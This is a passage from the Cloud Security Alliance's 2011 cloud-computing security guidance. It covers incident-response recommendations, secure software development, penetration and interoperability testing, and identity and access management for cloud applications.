exercises should be conducted in the preparation phase to anticipate these scenarios and a conflict resolution process identified. Customers must also consider how their provider will handle incidents affecting the provider itself or affecting other tenants on a shared platform in addition to incidents that are directly targeted at their own organization. Consumers of IaaS are primarily responsible for the containment, eradication, and recovery from incidents. Cloud deployments may have some b enefits here. For example, isolating impacted images without destroying evidence can be achieved by pausing these images. As discussed in the introduction, the relative ease with which nodes can be shut down and new instances brought up may help to minim ize service interruption when a code fix needs to be deployed. If there are issues with a particular IaaS cloud, then the customer may have the option of moving the service on to another cloud, especially if they have implemented one of the meta -cloud man agement solutions. The situation is more complicated for SaaS and PaaS deployments. Consumers may have little technical ability to contain a Software or Platform as a Service incident other than closing down user access and inspecting/cleaning their data as hosted within the service prior to a later re -opening. But especially for SaaS, even these basic activities may be difficult or impossible without adequate support by the CSP, such as fine -grained access control mechanisms and direct access to custome r data (rather than via the web interface). In all service models, providers may be able to assist with certain categories of attack, such as a Denial of Service ( DoS)64. For example, smaller enterprises may benefit from the economies of scale, which allo w for more expensive mitigation technologies, such as DoS protection, to be extended to their sites. As for the previous phases, the extent to which facilities at the provider will be made available to the customer to assist in responding to an attack sho uld be identified in the preparation phase. In addition, the conditions under which the provider is obligated to provide assistance to responding to an attack should be contractually defined. The SLA’s and the IR plan should be flexible enough to accommod ate a “Lessons Learned” activity after the recovery. A detailed Incident Report based on the IR activities is to be written and shared with impacted parties, i.e., between the cloud customer, CSP and other affected/involved organizations. The Incident Re port should include the timeline of the incident, analysis of the root cause or vulnerability, actions taken to mitigate problems and restore service, and recommendations for long- term corrective action. Corrective actions are likely to be a blend of customer -specific and provider supported, and the provider’s Incident Response team should provide a section with their perspective of the incident and proposed resolution. After an initial review of the Incident Report by the customer and CSP, joint disc ussions should be held to develop and approve a remediation plan. 9.4 Recommendations o Cloud customers must understand how the CSP defines events of interest versus security incidents and what events/incidents the cloud -service provider reports to the c loud customer in which way. Event information that is supplied using an open standard can facilitate the processing of these reports at the customer side. 64 DoS - Denial of Service SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 101 o Cloud customers must set up proper communication paths with the CSP that can be utilized in the eve nt of an incident. Existing open standards can facilitate incident communication. o Cloud customers must understand the CSP's support for incident analysis, particularly the nature (content and format) of data the CSP will supply for analysis purposes and the level of interaction with the CSP's incident response team. In particular, it must be evaluated whether the available data for incident analysis satisfies legal requirements on forensic investigations that may be relevant to the cloud customer. o Espe cially in case of IaaS, cloud customers should favor CSP’s that leverage the opportunities virtualization offers for forensic analysis and incident recovery such as access/roll- back to snapshots of virtual environments, virtual- machine introspection, etc. o Cloud customers should favor CSP’s that leverage hardware assisted virtualization and hardened hypervisors with forensic analytic capabilities. o For each cloud service, cloud customers should identify the most relevant incident classes and prepare strategie s for the incident containment, eradication, and recovery incidents; it must be assured that each cloud provider can deliver the necessary assistance to execute those strategies. o Cloud customers should obtain and review a CSP’s history for incident respon se. A CSP can provide industry recommendations from existing customers about its IRP. 9.5 Requirements  For each cloud -service provider that is used, the approach to detecting and handling incidents involving resources hosted at that provider must be pla nned and described in the enterprise incident response plan.  The SLA of each cloud -service provider that is used must guarantee the support for incident handling required for effective execution of the enterprise incident response plan for each stage of th e incident handling process: detection, analysis, containment, eradication, and recovery.  Testing will be conducted at least annually. Customers should seek to integrate their testing procedures with that of their provider (and other partners) to the grea test extent possible. Ideally, a team (comprising Customer and CSP members) should carry out various health check tests for an incident response plan, and accordingly, suggestions should be implemented into a new version of incident response plan. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 102 REFER ENCES [1] GRANCE, T., KENT, K., and KIM, B. Computer Security Incident Handling Guide. NIST Special Publication 800 -61. [2] MELL, P. and GRANCE, T. The NIST Definition of Cloud Computing, NIST Special Publication 800 -145. [3] GROBAUER, B. and SCHRECK, T. October 2010. Towards Incident Handling in the Cloud: Challenges and Approaches. In Proceedings of the Third ACM Cloud Computing Security Workshop (CCSW), Chicago, Illinois. [4] WOLTHUSEN, S. 2009. Overcast: Forensic Discovery in Cloud Environme nts. In Proceedings of the Fifth International Conference on IT Security Incident Management and IT Forensics. [5] REED, J. 2011. Following Incidents into the Cloud. SANS Reading Room [6] DANYLIW, R., et al. 2007. The Incident Object Description Exc hange Format, IETF Internet Draft RFC 5070. [7] MORIARTY, K. 2010. Real -time Inter -network Defense, IETF Internet Draft RFC 6045. [8] MORIARTY, K., and TRAMMELL, B. 2010. Transport of Real -time Inter -network Defense (RID) Messages, IETF Internet Draft RFC 6046. [9] FITZGERALD, E., et al. 2010. Common Event Expression (CEE) Overview. Report of the CEE Editorial Board. [10] BIRK, D. and WEGENER, C. 2011. Technical Issues of Forensic Investigations in Cloud Computing Environments In Proceedings of 6th International Workshop on Systematic Approaches to Digital Forensic Engineering (IEEE/SADFE), Oakland, CA, USA. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 103 DOMAIN 10 // APPLICATION SECURITY Cloud environments, particularly public cloud environments, by virtue of their flexibility and openness challenge many fundamental assumptions about application security. Some of these assumptions are well understood, however, many are not. This section i s intended to provide guidance on how cloud computing influences security over the lifetime of an application, from design to operations to ultimate decommissioning. This guidance is for all stakeholders (including application designers, security professio nals, operations personnel, and technical management) on how to best mitigate risk and manage assurance when designing Cloud Computing applications. Cloud Computing is a particular challenge for applications across the layers of Software as a Service (SaaS), Platform as a Service (PaaS) and Infrastructure as a Service (IaaS). Cloud -based software applications require a design rigor similar to an application connecting to the raw Internet —the security must be provided by the application without any assumpt ions being made about the external environment. However, the threats that applications are going to be exposed to in a cloud environment will be more than those experienced in a traditional data center. This creates the need for rigorous practices that mu st be followed when developing or migrating applications to the cloud. Overview. This Application Security domain has been organized into the following areas of focus:  Secure SDLC65 (General practices for secure Software Development Life Cycle and nuances specific to the Cloud)  Authentication, Authorization, Compliance – Application Security Architecture in the Cloud  Identity and the consumption of identity as it relates to Cloud Application Security  Entitlement processes and risk -based access management as it relates to cloud encryption in cloud -based applications  Application authorization management (policy authoring/update, enforcement)  Application Penetration Testing for the Cloud (general practices and nuances specific to cloud -based Applications)  Monit oring Applications in the Cloud  Application authentication, compliance, and risk management and the repercussions of multi -tenancy and shared infrastructure  The difference between avoiding malicious software and providing application security 65 SDLC - Software Development Life Cycle SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 104 10.1 Secure SDLC (Software Development Life Cycle) A Secure Software Development Life Cycle (SSDLC) (also referred by a few as Secure Development Life Cycle (SDLC)) has assumed increased importance when migrating and deploying applications in the cloud. Organizations should ensure that the best practices of application security, identity management, data management, and privacy are integral to their development programs and throughout the lifecycle of the application. Developing for a cloud environment is diffe rent than the traditional hosting environments in the following areas:  The control over physical security is substantially reduced in public cloud scenarios.  The potential incompatibility between vendors when services (for example, Storage) are migrated fr om one vendor to another.  Protection of data through the lifecycle must be considered. This includes transit, processing and storage.  The combinations of web services in the cloud environment can potentially cause security vulnerabilities to be present.  The ability to access logs, especially in a shared public cloud, is more difficult and should be specified as a part of the service level agreement.  Fail- over for data and data security in the cloud has to be more detailed and layered than traditional enviro nments.  Assuring (and demonstrating evidence for) compliance to relevant industry and government regulations is typically more difficult within a cloud environment. In implementing a SSDLC, organizations must adopt best practices for development, either by having a good blend of processes, tools, and technologies of their own or adopting one of the maturity models such as these:  Building Security In Maturity Model (BSIMM2)  Software Assurance Maturity Model (SAMM)  Systems Security Engineering Capability Maturity Model (SSE -CMM) 10.1.1 Application Security Assurance Program Organizations should have an application security assurance program that ensures for the applications that are being migrated and/or developed and maintained in a cloud environment the following:  With adequate executive support, goals and metrics are defined, implemented and tracked.  A security and a privacy policy for applications in the cloud has been established to meet the legal and regulatory compliance requirements that are aligne d with the business needs and regulatory obligations of the organization. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 105  Adequate capability and capacity for security assurance is available within the organization to architect, design, develop, test and deploy secure applications by on -boarding, training suitable resources in a timely manner.  Security and privacy risk evaluations are performed for all applications to ensure the requirements are correctly defined.  Processes for ensuring security and privacy requirements for the development and maintenanc e process in the cloud are defined and implemented.  Configuration and change management must be auditable and verifiable  Physical security risk evaluations for the application and the data are performed, and the access to all cloud infrastructure component s is adequate to meet those requirements.  Formal coding best practices, considering the strengths and weaknesses of language used should be followed during the development phase.  Privacy and security measures must be auditable and verifiable. 10.1.2 Verification and Validation 10.1.2.1 Design Review Some functions are more security sensitive than others and may not be viable candidates for running in the cloud and should be considered when the specific application design and requirements are specifi ed. The following principles should be followed in order to develop a secure design for the application. Where these principles cannot be met by a cloud architecture, they should be remediated by appropriate technical and/or compensating controls. Failu re to do this brings into question the viability of a cloud deployment.  Least privilege . This principle maintains that an individual, process, or other type of entity should be given the minimum privileges and resources for the minimum period of time req uired to complete a task. In many cases, least privilege can only be implemented effectively using fine -grained, contextual application authorization management with security policy automation 66 mechanisms.  Segregation of duties . This is a control policy according to which no person should be given responsibility for, or access to, more than one related function.  Defense in depth. This is the application of multiple layers of protection wherein a subsequent layer will provide protection if a previous layer is breached.  Fail safe . If a cloud system fails it should fail to a state in which the security of the system and its data are not compromised. For example, to ensure the system defaults to a state in which a user or process is denied access to the system.  Economy of mechanism . This promotes simple and comprehensible design and implementation of protection mechanisms, so that unintended access paths do not exist or can be readily identified and eliminated. 66 www.policyautomation.org SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 106  Complete mediation. This is where every reques t by an entity67 to access an object in a computer system must be authorized.  Open design. This is an open -access cloud system design that has been evaluated and peer -reviewed by a community of experts resulting in a more secure design.  Least common mechanism . This states that a minimum number of mechanisms (especially protection mechanisms) should be common across multiple applications, minimizing one application’s ability to corrupt or subvert another application.  Weakest link . It is important to identi fy the weakest mechanisms in the security chain and layers of defense and improve them, so that risks to the system are mitigated to an acceptable level. 10.1.3 Construction 10.1.3.1 Code Review It is recommended to define and follow secure software de velopment at the organization level. The guidelines spelled out in the Fundamental Practices for Secure Software Development from SAFECode68, CERT (SEI )69 or ISO Standards could be followed. Dynamic code analysis examines the code as it executes in a runnin g cloud application, with the tester tracing the external interfaces in the source code to the corresponding interactions in the executing code, so that any vulnerabilities or anomalies that arise in the executing interfaces are simultaneously located in t he source code, where they can then be fixed. Unlike static analysis, dynamic analysis enables the tester to exercise the software in ways that expose vulnerabilities introduced by interactions with users and changes in the configuration or behavior of env ironment components. Some of the best practices for writing a secure code and reviewing are listed below:  The minimum necessary information should be included in cloud server code. Comments should be stripped from operational code, and names and other personal information should be avoided.  Utilize source code analysis tools to check for typical programming errors such as Buffer Overflows, Format String Attacks, Race Conditions, etc.  Verify and validate all inputs, user, computer and inter -system. Content injection and several other attacks are possible when the cloud infrastructure takes any input and applies the content of that input into commands or SQL statements.  When using object code (binaries), for example, where 3rd party libraries are being used, utilize a testing service capable of static vulnerability testing on object code. 10.1.3.2 Security Testing 67 An entity could be a user, code, a device, an organiz ation or agent 68 http://www.safecode.org/ 69 https://www.cert.org/secure -coding/ SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 107 Penetration test is a security testing methodology that gives the tester insight into the strength of the target’s network security by simulating an attack from a malicious source. The process involves an active analysis of the cloud system for any potential vulnerability that may result from poor or improper system configuration, known and/or unknown hardware or software flaws, or operational weaknesses in process or technical countermeasures. This analysis is carried out from the position of a potential attacker, and can involve active exploitation of security vulnerabilities. The type of cl oud model has a huge impact on the penetration testing or in deciding if penetration test is possible. Generally, Platform as a Service (PaaS) and Infrastructure as a Service (IaaS) clouds are likely to permit penetration testing. However, Software as a Service (SaaS) providers are not likely to allow customers to penetration test their applications and infrastructure, with the exception of third parties performing the cloud providers’ own penetration tests for compliance or security best practices. Penet ration testing is typically carried out within a “black box” scenario, that is, with no prior knowledge of the infrastructure to be tested. At its simplest level, the penetration test involves three phases: 1. Preparation. This is where a formal contract is executed containing non -disclosure of the client’s data and legal protection for the tester. At a minimum, it lists the IP addresses to be tested. 2. Execution . In this phase the penetration test is executed, with the tester looking for potential vulnerab ilities. 3. Delivery . The results of the evaluation are communicated to the tester’s contact in the organization, and corrective action is advised. Whether the penetration test is a full knowledge (white box) test, a partial knowledge (gray box) test, or a z ero knowledge (black box) test, after the report and results are obtained, mitigation techniques have to be applied to reduce the risk of compromise to an acceptable or tolerable level. The test should have the widest possible scope to address vulnerabilities and corresponding risks to such areas as applications, remote access systems and other related IT assets. 10.1.3.3 Interoperability Testing Interoperability testing evaluates whether a cloud application can exchange data (interoperate) with other co mponents or applications. Interoperability testing activities determine the capability of applications to exchange data via a common set of exchange formats, to read and write the same file formats, and to communicate using the same protocols. A major go al of interoperability testing is to detect interoperability problems between cloud software applications before these applications are put into operation. Interoperability testing requires the majority of the application to be completed before testing can occur. As well as testing for interoperability, these tests should confirm that all data exchanges, protocols and interfaces used are using secure transfers of information. Interoperability testing typically takes one of three approaches: 1. Testing all pair s. This is often conducted by a third -party independent group of testers who are knowledgeable about the interoperability characteristics across software products and between software vendors. 2. Testing some of the combinations . This involves testing only p art of the combinations and assuming the untested combinations will also interoperate. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 108 3. Testing against a reference implementation. This establishes a reference implementation, e.g., using the accepted standard, and testing all products against this refere nce. 10.1.4 Quantitative Improvement 10.1.4.1 Metrics Any application security assurance program should collect metrics, which can be analyzed and used to report the status of secure development on a periodic basis. The metrics collection and reportin g could be enhanced as any application security program attains more maturity. Some of the metrics recommended are:  Percentage of applications and data assets in the cloud evaluated for risk classification in the past quarter and/or year  Costs of the Appli cation Security Assurance program in a quarter and/or in a year in a project/program for cloud - based applications  Estimates of past loss due to security issues, if any, in the applications being developed and/or deployed in the cloud 10.1.4.2 Use of Auto mated SDLC Security Technology Tools and Features People -centric SDLC activities (processes, training, and testing) are necessary but often not sufficient or viable for good application security. Where feasible, automated tools should be used to construct secure applications and automatically build security into applications. Such tools that automatically generate technical security features are often tied into development and integration/orchestration tools. For example, technical authorization policy rules can be automatically generated (at development/integration/mash -up time) from security requirement specifications by tools that analyze applications and their interactions70. Similarly, some automated testing can be done at the development/integration stage, and information assurance evidence can be generated. For cloud, this can be done at the subscriber end during development or mash -up (especially for IaaS), or the cloud provider can provide the technology (the subscriber can configure if necessary), especially in the cloud application platform for PaaS. For SaaS, it is likely that most security automation will be built -in, configured, and operated by the cloud provider. 70 This scientific field is called “model -driven security”, see www.modeldrivensecurity.org SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 109 10.2 Authentication, Authorization, and Compliance – Application Security Architecture in the Cloud 10.2.1 Cloud Services/Applications Development and Business Challenges There are new potential risks associated with access to sensitive data and systems. A clear understanding of the following security risks within the application and business environment is critical for addressing the full scope of security and privacy issues in reference to the Cloud services/applications:  Lack of control . This is where cloud subscribers typically lack control over cloud security policies and controls.  Lack of visibility. This is where cloud subscribers typically lack visibility into cloud security policy enforcement and controls effectiveness.  Lack of manageability . This is where cloud subscribers are often not sufficiently able to manage cloud application security, especially access and audit policies.  Loss of governance . This is where the organization may not have direct control of the infrastructure; here trust in the provider (sometimes a naive trust) and its own ability to provide proper security is paramount.  Compliance risk . This is where the cloud provider impacts the organization's ability to comply with regulations, privacy expectations, and industry standar ds, because data and systems may exist outside the organization's direct control.  Isolation failure . This is where multi- tenancy and resource sharing are defining characteristics of the cloud. Thus it is entirely likely for competing companies to be usin g the same cloud services, in effect, running their workloads shoulder -to-shoulder. Keeping memory, storage, and network access isolated is essential.  Data protection. This is where the organization relinquishes direct control over data; it relies on the provider to keep that data secure, and when it is deleted, the provider should ensure (or be able to prove) that it is permanently destroyed.  Management interfaces and access configuration. Cloud applications are accessed and managed through the Internet, and potentially involve complex and control requirements. The risk associated with a security breach is therefore increased and proper access authorization must be carefully considered. 10.2.2 Technical Risks and Solutions Most Cloud service providers include some form of Identity, Entitlement, and Access Management ( IdEA )71 in the cloud service’s design. Often user authentication and authorization is delegated to the customer’s user management system using a federation standard. 71 IdEA - Identity, Entitlement, and Access Management SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 110 Support for Identity, Entitlement and Access Management impacts the customer in that integration in constrained by the credential passing mechanism. Infrastructure such as billing and metering that depend on identity management also present integration and migration risks. Support for Identity, Entitlement, and Access management has integration implications for the customer. These implications include securely passing credentials and attributes, provisioning additional users, etc. Business operations within the cloud service provider are also affected; these operations include billing and accounting resource utilization. As a result, it is important to consider Identity, Entitlement, and Access management integration as an integral part of the design. The application’s IdEA capabilities (or lack thereof), such as an application’s ability to accept a SAML 72 assertion, will impact the cloud service governance, integration, and user experience, thus understanding the IdEA requirements of the particular cloud application is a crit ical part of the requirements definition. Typical IdEA requirements in a cloud application design include:  Understanding how the cloud application will provision accounts to users, power users, and administrators – triggers for these could be links to internal HR systems or cloud -based HR platforms  Provisioning of cloud services for service -to-service integration, e.g., internal applications to cloud -based services  The ability to accept claim and assertions (identifiers and attributes) from a variety of sou rces, and entities based on federation standards (e.g., SAML, WS FED, etc.)  The ability to make risk -based entitlement decisions about access to (and within) the cloud application, based on the identity and attributes of all the entities (users, devices, c ode, organization, agents) in the chain.  A rich, risk -based entitlement language leading to access management (authoring/distribution/update, etc.) for protected resources (i.e., what is allowed for each resource)  Support for internal security and regulato ry-policy compliance requirements, such as claims -based authentication, or at a minimum role -based access control  User activity monitoring, logging, and reporting dictated by internal policies and regulatory compliance, such as SOX, PCI, and HIPAA. A variety of Identity providers or Service providers may generate tokens such as SAML, OpenID73, or OAuth74 tokens for session caching allowing a pass -through sign -on capability. Applications to be deployed in cloud should have capability to integrate with these claims/assertion services and Applications/services should be designed to support the open standards for Federation, i.e. SAML, OAuth , OpenID. 72 SAML - Security Asse rtion Markup Language, an XML -based OASIS open standard for exchanging authentication and authorization data between security domains 73 OpenID - an open standard permitting users to be authenticated in a decentralized manner 74OAuth - Open Authorization , an open standard for authorization, allowing users to share their private resources with tokens instead of credentials SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 111 The Entitlement management process will require the ability for defining, managing, and accessing the access control rules for the cloud -based applications through a centralized interface. Such an interface/servic e could itself be hosted on the cloud or internally and can leverage standards such as XACML75. The main challenge here is manageability: With increasing security policy and compliance complexity, IT complexity, and IT agility, the task of translating security policies into security implementation gets more time- consuming, repetitive, expensive, and error -prone and easily can amount to the bulk of security costs for end -user organizations as traditional users are managed into and out of access control lists for role -based access control, while expensive engines process these lists to ensure segregation -of-duties have not been breached. Instead, defining a set of rules into an entitlement layer, fed by the claims, (assertions,) and attributes of the entities in the transaction significantly simplifies and enhances the control an organization has over its applications leading to the end subscriber organizations (and cloud providers) lowering their cost and improving policy implementation accuracy. Table 1 — Simple Entitlement Matrix for a Cloud HR Application To integrate application security controls, data security and privacy protection, the services should use auditable industry standards, e.g. ISAE 3402/SSAE 16 (replaces SAS 70), PCI, HIPAA and ISO 27002. Each one comes with controls in a variety of categories that govern operation of a cloud provider’s data center as well as the applications that can be hosted in such an environment. It is important to evaluate the different security claims and make a sound decision on which standards apply for the applications and services being hosted in a cloud envir onment. A thorough analysis based on requirements should be done to identify service level objectives upfront to avoid major code changes to application code, deployment, and support tools for both the customers as well as the cloud provider organizations . 75 XACML - eXtensible Access Control Markup Language , an OASIS standard Claim / A ttribute Corporate HR Managers Access User Corporate Access Corporate HR Managers Home Access (Corp. Laptop) User Home Access (Own Device) ID: Organization Id Valid Valid Valid No ID: User Identifier Valid Valid Valid Valid ID: Device Valid Valid Valid No Attrib: Device is clean Valid Valid Valid Unknown Attrib: Device is patched Valid Valid Valid Unknown Attrib: Device IP (is on corp. net. ?) Valid Valid No No Attrib: User is HR manager Valid No Valid No Access Result Read/write access to all HR accounts Read/write access to users HR account only Read/write access to users HR account only Read -only access to users HR account only SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 112 10.2.3 Compliance Building Blocks Irrespective of which standards are used, achieving compliance to run an application in a cloud has some basic building blocks and the foundation of all standards is provided by the cloud provider’s physical infrastruc ture. Infrastructure controls include things like protecting the facility from natural disasters, assuring reliable electrical power in the event of outages, and backing up data in the event of a hardware failure. They also include controls governing the cloud provider’s processes and policies such as system administrative auditing, access and authorization to access the data center, and methods used for internal security reviews and how they are performed and reported. The next layer on top of the infrast ructure controls is a collection of application controls. Multiple levels of security are required, such as the transport layer that must be secure; when data leaves the data center, it must be encrypted with encryption keys under enterprise control. Some applications may need message layer security, digital signing, and other added security features in order to be compliant with some standards for storing or transmitting Personally identifiable information in order to meet privacy requirements. All such application controls for the service/application to be moved to Cloud should be identified during the design phase so they can be appropriately integrated into the architecture design and developed as per requirements. Notable standards are PCI –DSS, SOX, ISAE 3402/SSAE 16,HIPAA, and other privacy standards. 10.3 Identity , Entitlement , & Access Management for Cloud Application Security Traditional in house enterprise applications could be protected with traditional edge security controls like firewalls, proxies, etc. This could very well meet the risk level and security requirements of the enterprise as the applications are running on trusted networks, trusted hardware, etc. The enterprise could also leverage their enterprise directory infrastructure for authenticating its users to these applications and maintain all access decisions within the applications. The perimeter for the enterprise is well defined in this case. When the user moves these applications to the cloud, all these traditional controls ar e no longer effective enough to protect as these applications are running on un -trusted networks (de -parameterization). Applications could be residing with other co -tenants of same service provider (resource pooling) and could be accessed from anywhere th rough any type of device. This changes the very nature of security requirements for the cloud applications. As per www.rationalsurvivability.com cloud anatomy is referred as the following: SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 113 Figure 1 —Clou d Anatomy To the above referenced structure the user can now add the ways he/she can access these applications. This anatomy can then be viewed as: Figure 2 —Cloud Delivery Components From the anatomy above, you can clearly see that your application is a window to your data, and the new perimeter is the content (data) and context by which the user tries to access that data. This makes applying security controls to the cloud applications critical. The context of accessing the data becomes very important an d needs a rich collection of identifiers and attributes with which to make access decisions. With consumerization of IT, enterprises are now faced with the reality of “Bring Your Own Device” (BYOD). So device identification and the attributes of that dev ice also become an important factor for determining the access control. Identity should not just be viewed as a reference for authenticating the entity but also gathers more information about the user for making access decisions. Identity also includes t he identities of the devices that applications run on (VM image identity), privileged users that manage that VM image (could be both enterprise users as well as service provider users), identities for other applications and services that application needs to interact with, identities of administrative users to manage the application, and external identities outside of the enterprise that need access to the application like B2B, B2C, etc. Also note that access decisions will be based on attributes that are not identity -related, and policy authoring/management tools need to support such non -identity attributes (see “Authorization management & policy automation” below). In this section we will look into how Identity, Entitlement, and Access management affects the cloud application security. IdEA can be divided broadly into five main components: 1. Authentication 2. Authorization 3. Administration 4. Audit & Compliance 5. Policy SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 114 10.3.1 Authentication Authentication refers to establishing/asserting the identity to the application. This is usually done in two phases. The first phase is disambiguating the identity and the second phase is validating the credential already provided to the user. Some of the main drivers for authentication to cloud applications are device independence, common and simple UI, and single protocol universal across the devices. Also, many service providers expose their services in form of API’s76, and these API’s are designed for accepting tokens rather than the passwords. In a regular enterprise application, the authentication is done against the enterprise user store (Active Directory or LDAP), and the authenticating credential is typically use rID/Password. For cloud -based application, authenticating using the enterprise credentials gets trickier. Some enterprises establish VPN tunnel from the service provider to the enterprise network so that they can authenticate against the enterprise user di rectory. Even though this solution might work, enterprise should take into consideration latency issues, connectivity issues, and BCP/DR planning etc., and this solution should not be used or designed into new cloud applications. Enterprises should plan fo r using open standards like SAML and WS -Federation. There is also increase in use of enterprise applications by partners and customers of the enterprise. This is also true for cloud applications. These users rarely want to maintain separate identities fo r their 3 rd party access (but today often have no choice). So enterprises should plan for “Bring Your Own Identity” (BYOI), and the cloud application needs to be designed to consume Identity and attributes from multiple organizations. Since the cloud appl ications are accessible widely through various devices, authenticating with simple userID/password should be deprecated as a solution. Enterprises should plan for using stronger authentication. Consumers should consider strong authentication for the origin al identity confirmation and determine the type of credential that meets their risk requirement (RSA token, OTP over SMS or phone, Smartcard/PKI, Biometrics etc.). This then will enable identifiers and attributes with a strong level of authentication to be passed to the cloud application and better risk decisions to be made about access management by the entitlement layer. Enterprises should plan for using risk -based authentication for their cloud applications. This type of authentication is based on devic e identifier, geolocation, ISP, heuristic information, etc. Cloud application should not only perform authentication during the initial connection but should also perform risk -based authentication based on the transactions being performed within the appli cation. Cloud applications should also leverage convergence of standards where applicable, such as SAML and OAuth . As mentioned earlier in this section, cloud service API’s are designed to accept tokens and not passwords, so a user trying to access cloud services from their mobile device first has to authenticate to their Identity Provider (today, probably their enterprise), and a SAML assertion is generated and passed on to cloud service provider. Upon successful validation of the SAML assertion, an OAut h token is generated and passed on to the mobile device. The mobile device then passes on these tokens to access cloud services REST 77 based API’s. 76 API - Application Program Interface 77 REST - Representational state transfer, a style of software architecture for dis tributed hypermedia systems SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 115 10.3.2 Authorization and Access Control Authorization in broadest terms refers to enforcing the rules by w hich access is granted to the resources. The Entitlement process implements business policies that in turn translate to access into enterprise resources. For cloud - based applications, authorization should not only be performed based on the content but als o by the context. For user -centric authorization model, the user is the Policy Decision Point ( PDP )78. The user determines the access for their resources, and the service provider acts as Policy Enforcement Point ( PEP)79. OAuth is widely used for this mode l, and User Managed Access (UMA) is also an emerging standard in this space. For an enterprise -centric authorization model, the enterprise is the PDP or Policy Access Point ( PAP)80, and the service provider acts as PEP. In some cases, enterprises implement cloud security gateways for PEP. The enterprise customer should consider use of XACML and centralized policy management. Cloud applications could be leveraging multiple types of services. Some services could be legacy applications exposed as web services utilizing middleware, or the web services could be native cloud web services. The diversity of the delivery supply chain, although abstracted by the web service interface, may complicate the governance process. Design time governance includes defining the services, developing the services, registering the services, and implementing policy requirement for accessing these services. Runtime governance includes discovering the services, implementing security restrictions for calling the services, enforcing se curity restrictions for accessing the service, and auditing all access. Use open standards like W3C WS 81-policy for defining security and management policy assertions, WS -security for enforcing access restrictions, WS -trust for implementing Secure Token Ser vice ( STS)82 to validate and issue tokens, and exchange token formats, etc. There are different types of authorization models namely Role -based, Rule -based, Attribute -based access, Claims -based, and Authorization -based access control (such as ZBAC)83. Enter prises that already own Web Access Management (WAM)84 solution should leverage these solutions to seamlessly protect cloud applications as well. Most of WAM products support Rule and Role -based access controls. Application architects and designers should p lan to migrate to Rule -based using claims and attributes as the source for those rules via the Entitlement process described above, and depreciate other legacy solutions. When using attribute -based access control, the Identity Provider ( IdP)85 passes attrib utes to the Cloud Service Provider for enforcement. Identity Providers should ensure:  Attributes attached to the identity need not strictly refer to the user identity such as first name, last name, email address, etc. It could also include IP address, lo cation information, group affiliation, phone number, etc.  Care should be taken for sharing attributes that directly identify the user as it raises privacy issues. 78 PDP - Policy Decision Point 79 PEP - Policy Enforcement Point 80 PAP - Policy Access Point 81 WS - Web Service 82 STS - Secure Token Service 83 Described in publications by Alan Karp, HP Labs 84 WAM - Web Access Management 85 IdP - Identity Provider SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 116  Enterprises should also plan for the attribute complexity for making access control decision s. They should know which attribute provider to contact for a particular attribute -based on authoritativeness. There are attribute aggregators that enterprise can leverage. This could either complicate or simplify the trust. Enterprises should take into account conflict resolution complexities, handling incomplete data, etc.  Enterprises should also take into account attribute extensibility like validation (verifiability), terms of use, date, etc.  Enterprises should take into consideration privacy, attribu te release policies, and consent. Examples include EU privacy directives, State and local laws, etc. Location of the IdP, CSP, and user (jurisdictional issues) should also be factored into this decision.  Only minimal information required for the access co ntrol should be released.  Enterprises should ensure attributes that are not identity -centric are also supported.  Enterprises should ensure that access policies and entitlement policies are manageable in addition to being technically enforceable. Potential solutions include the use of policy automation technologies (maybe tied into the PaaS application mash -up tools). The main goal of Claims -based access control is controlled sharing of the information. The claims are based on the context of the transaction . When planning to use claims -based authorization, an enterprise should consider:  Usage of meaningful claims (verified email address instead of just email address)  Type, surety, freshness, and quality of the claim (if the claim is cached outside of claims provider then the freshness of the claim is lost).  Appropriate authority of the claims based on the context, e.g., a telecom company having authority to verify your phone number, an email provider having authority to verify your email address, etc.  Utiliz ation of claim brokers where possible as they could be used for abstraction from various claims providers, e.g., they could create a package of claims at desired confidence levels and create a central point for user permission  Minimal release of claim as required by the transaction The cloud application could also be a mash -up of other cloud applications running on the same or different service providers. The enterprise should plan for how the users are authenticated seamlessly across all these cloud applications and how the users’ profiles such as group association, entitlements, roles, etc. are shared across these cloud applications for granular access controls. Enterprises are recommended to use open standards for this use case (SAML, OAuth , XACML, etc.) . SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D 